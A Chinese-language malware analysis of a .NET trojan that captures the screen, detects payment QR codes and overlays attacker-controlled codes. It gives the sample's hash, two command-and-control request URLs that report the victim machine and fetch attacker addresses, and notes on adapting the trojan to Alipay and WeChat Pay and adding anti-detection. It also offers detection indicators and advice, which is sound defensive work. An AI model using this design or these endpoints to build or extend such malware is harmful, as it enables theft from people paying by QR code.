一款可实时篡改支付二维码的木马程序分析
字数 1751
更新时间 2026-02-06 04:00:47
金融木马实时篡改支付二维码技术分析文档
一、技术概述
1.1 样本基本信息
- 恶意程序: amem.exe (MD5: B75AA76E1F86A0A7AAB64358ED375942)
- 依赖库:
- QRCoder.dll (二维码生成库)
- zxing.dll (二维码识别库)
- 技术类型: .NET恶意程序
- 攻击目标: 实时篡改屏幕支付二维码
1.2 攻击原理
通过实时屏幕监控、二维码识别、动态替换技术,在用户支付过程中将合法收款二维码覆盖为攻击者控制的二维码。
二、技术实现细节
2.1 外联通信机制
首次运行逻辑:
- 检查
%TEMP%/controle_requisicao_fila.inf文件是否存在 - 如文件不存在,向C&C服务器发送被控主机信息:
- 请求地址:
https://gsnacional.com/api/get-req?machine-name=DESKTOP-AXXXXX8&usuario_id=4
- 请求地址:
- 在临时目录创建标记文件并写入"OK"
- 如文件已存在,则跳过上线通信流程
2.2 屏幕监控技术
实现方式: 使用Windows放大镜API进行实时屏幕截图
- 持续捕获屏幕内容
- 实时检测二维码出现位置
- 高频率刷新监控(确保实时性)
2.3 二维码识别模块
技术实现:
- 识别库: zxing.dll(专业二维码识别库)
- 识别流程:
- 对屏幕截图进行二维码检测
- 提取二维码中的文本内容
- 验证二维码有效性
2.4 加密货币类型识别
支持的加密货币类型:
- 比特币(Bitcoin)
- 以太坊(Ethereum)
- 莱特币(Litecoin)
- 其他主流加密货币
识别逻辑:
- 分析二维码文本内容格式
- 匹配已知加密货币地址模式
- 确定具体的加密货币类型
2.5 攻击者支付地址获取
通信流程:
- 向C&C服务器发送识别的加密货币类型
- 请求地址:
https://gsnacional.com/api/get-key?usuario_id=4&chave_tipo=1 - 接收攻击者对应的支付地址
2.6 新二维码生成
技术实现:
- 生成库: QRCoder.dll(.NET二维码生成库)
- 生成流程:
- 基于攻击者支付地址生成二维码文本
- 调用QRCoder库生成二维码图像
- 设置合适的二维码尺寸和纠错等级
2.7 实时覆盖显示
窗口覆盖技术:
- 精确定位原二维码屏幕位置
- 创建透明窗口覆盖原二维码区域
- 动态显示攻击者二维码
- 实时跟踪原二维码位置变化
三、国内支付场景测试验证
3.1 技术可行性分析
支付宝二维码测试结果:
- 识别能力: 可成功识别支付宝收款二维码
- 生成能力: 可生成有效的替代二维码
- 兼容性: 新生成二维码与原二维码功能一致
微信支付二维码测试结果:
- 识别能力: 可准确识别微信收款二维码
- 生成能力: 可生成有效的替代二维码
- 兼容性: 新二维码扫描后可正常跳转支付
3.2 技术局限性
原样本限制:
- 仅支持加密货币支付场景
- 未内置国内支付平台识别规则
- 需要针对性修改才能攻击国内支付场景
四、防御检测方案
4.1 技术检测指标
可疑行为特征:
- 频繁调用Windows放大镜API
- 持续进行屏幕截图操作
- 加载zxing、QRCoder等二维码处理库
- 异常网络通信(特定域名访问)
4.2 防护建议
终端防护:
- 监控屏幕捕获API调用
- 检测二维码处理库加载行为
- 网络流量分析(异常HTTPS请求)
用户防护:
- 支付时验证二维码位置是否异常
- 注意二维码显示是否有覆盖痕迹
- 使用安全支付环境
五、技术影响评估
5.1 攻击效果
- 实时性: 毫秒级响应,用户难以察觉
- 隐蔽性: 轻微视觉瑕疵,普通用户不易发现
- 成功率: 依赖二维码显示环境的可控性
5.2 风险等级
- 高危: 直接影响资金安全
- 广泛影响: 适用于所有二维码支付场景
- 技术复制: 基于公开库,技术门槛相对较低
六、技术扩展可能性
6.1 攻击演进方向
- 支持更多支付平台识别规则
- 增强二维码定位精度
- 优化覆盖显示的自然度
- 增加反检测机制
6.2 防御应对策略
- 行为检测引擎增强
- 支付环境安全验证
- 二维码动态防伪技术
- 终端安全基线强化
文档基于实际样本分析编写,仅供安全研究使用